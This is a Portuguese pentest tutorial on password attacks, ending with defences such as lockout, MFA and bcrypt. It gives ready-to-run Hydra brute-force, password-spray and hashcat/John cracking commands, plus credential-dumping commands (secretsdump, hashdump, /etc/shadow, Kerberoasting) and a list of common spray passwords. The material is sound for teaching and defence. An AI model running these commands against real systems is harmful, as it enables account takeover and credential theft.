Avançado Pentest e Ofensiva
Password attacks — brute force, hash cracking (hashcat), password spray
Senhas fracas continuam sendo o vetor de entrada mais comum. Entender como funcionam os ataques a senhas permite criar políticas e controles eficazes.
Tipos de ataque a senha
Brute force: testa todas as combinações possíveis (lento, garantido)
Dictionary: testa palavras de uma wordlist (rápido, cobre casos comuns)
Rule-based: aplica transformações na wordlist (password → P@ssw0rd)
Password spray: uma senha fraca contra muitos usuários (evita lockout)
Credential stuffing: usa pares usuário:senha de breaches anteriores
Hash cracking: quebra hashes offline (sem alvo, sem bloqueio)
Wordlists essenciais
# RockYou — 14 milhões de senhas reais de breach
/usr/share/wordlists/rockyou.txt
# SecLists — coleção abrangente
/usr/share/seclists/Passwords/
/usr/share/seclists/Usernames/
# Gerar wordlist customizada com cewl (termos do site do alvo)
cewl https://example.com -m 5 -d 2 -w custom_wordlist.txt
Hydra — brute force online
# SSH brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.10
# HTTP POST form
hydra -l admin -P passwords.txt 192.168.1.10 http-post-form \
"/login:username=^USER^&password=^PASS^:Invalid credentials"
# FTP com lista de usuários
hydra -L users.txt -P passwords.txt ftp://192.168.1.10
# RDP
hydra -l administrator -P passwords.txt rdp://192.168.1.10 -t 4
# Limitando threads para evitar lockout
hydra -l admin -P passwords.txt ssh://192.168.1.10 -t 2 -W 3
Password Spray — evitar lockout de conta
Estratégia: uma senha por vez, contra todos os usuários. Evita threshold de lockout (ex: 5 tentativas erradas → bloqueio).
# Spray em serviços web
sprayhound -U users.txt -p "Winter2024!" --dc 192.168.1.10
# Spray em SMB/Active Directory
crackmapexec smb 192.168.1.10 -u users.txt -p "Senha@2024" --continue-on-success
# Senhas comuns para spray:
Estação+Ano: Spring2024, Summer2024, Winter2024
Empresa+123: ExampleCorp123, Example@1
Padrão comum: Welcome1, Password1, Changeme1
Hashcat — cracking offline de hashes
# Identificar tipo de hash
hashid '$2y$10$...' # bcrypt
hashid '5f4dcc3b5aa765d61d8327deb882cf99' # MD5
# Modos comuns do hashcat (-m):
0 = MD5
100 = SHA-1
1000 = NTLM (Windows)
1800 = sha512crypt (Linux /etc/shadow)
3200 = bcrypt
13100 = Kerberoast (TGS-REP)
# Dictionary attack
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt
# Rule-based attack (melhor custo-benefício)
hashcat -m 1000 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# Brute force por máscara (8 chars, letra+número)
hashcat -m 1000 hashes.txt -a 3 ?l?l?l?l?d?d?d?d
# Máscaras:
?l = minúscula (a-z)
?u = maiúscula (A-Z)
?d = dígito (0-9)
?s = especial
?a = todos os anteriores
Como obter hashes para cracking
# Windows — dump local (requer admin/SYSTEM)
# Meterpreter: hashdump
# Impacket (remoto, credencial de admin):
impacket-secretsdump administrator:senha@192.168.1.10
# Linux — arquivo shadow (requer root)
cat /etc/shadow
root:$6$salt$hash...:18000:0:99999:7:::
# Hash NTLM de memória (LSASS) — exemplo educacional
# Meterpreter: run post/windows/gather/smart_hashdump
# Kerberoasting — SPNs no AD
impacket-GetUserSPNs -dc-ip 192.168.1.10 example.local/user:senha -outputfile hashes_kerb.txt
hashcat -m 13100 hashes_kerb.txt rockyou.txt
John the Ripper — alternativa ao hashcat
# Cracking simples
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Com formato específico
john --format=NT hashes.txt --wordlist=rockyou.txt
# Combinar /etc/passwd e /etc/shadow
unshadow /etc/passwd /etc/shadow > combined.txt
john combined.txt --wordlist=rockyou.txt
Defesa contra ataques de senha
Contra brute force online:
→ Account lockout após N tentativas
→ Rate limiting por IP
→ MFA obrigatório
→ CAPTCHA em formulários públicos
→ Monitorar tentativas falhas no SIEM
Contra password spray:
→ Alertar quando mesmo IP tenta múltiplos usuários
→ Política de senha forte (mín. 12 chars, complexidade)
→ Smart lockout (Azure AD, Okta)
Contra hash cracking:
→ bcrypt, Argon2 ou scrypt — jamais MD5 ou SHA-1 para senhas
→ Salt único por usuário
→ Pepper no servidor (segredo adicional)
Senha forte + MFA elimina a maioria desses vetores. A defesa começa na política, não na detecção.